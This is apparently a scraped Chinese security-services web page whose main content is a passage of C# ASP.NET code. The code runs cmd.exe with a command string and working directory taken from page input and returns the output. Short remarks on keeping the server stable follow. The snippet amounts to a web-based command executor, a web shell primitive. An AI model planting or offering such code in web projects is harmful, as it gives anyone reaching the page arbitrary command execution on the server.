- Rongsen.Com.Cn 版权所有 2008-2010 京ICP备08007000号 京公海网安备11010802026356号 朝阳网安编号:110105199号
- 北京黑客防线网安工作室-黑客防线网安服务器维护基地为您提供专业的
服务器维护
,企业网站维护
,网站维护
服务 - (建议采用1024×768分辨率,以达到最佳视觉效果) Powered by 黑客防线网安 ©2009-2010 www.rongsen.com.cn
作者:黑客防线网安ASP维护基地 来源:黑客防线网安ASP维护基地 浏览次数:0 |
Builder sb = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.WorkingDirectory = TextBox3.Text;//"c:\";
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.WriteLine(strExec);
p.StandardInput.WriteLine("exit");
while ((rl = p.StandardOutput.ReadLine()) != null)
{
sb.Append(rl + " ");
//Response.Write(p.StandardOutput.ReadLine());
}
return sb.ToString();
}
}
</PRE>
<PRE class=csharp name="code">路径里面指定cmd中的路径。</PRE>
<PRE class=csharp name="code">因为每次运行完最好都exit一下,所以就不能使用过多命令,干脆直接指定初始时的路径了。</PRE>
<PRE class=csharp name="code">如果不exit得话也可以,但是一定想的关闭cmd,不然服务器当机就挂了。</PRE>
<PRE class=csharp name="code"> </PRE>
<PRE class=csharp name="code">接下来不需要我说了吧。</PRE>
<PRE class=csharp name="code">轻松搞定。
</PRE>
我要申请本站:N点 | 黑客防线官网 | |
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479 |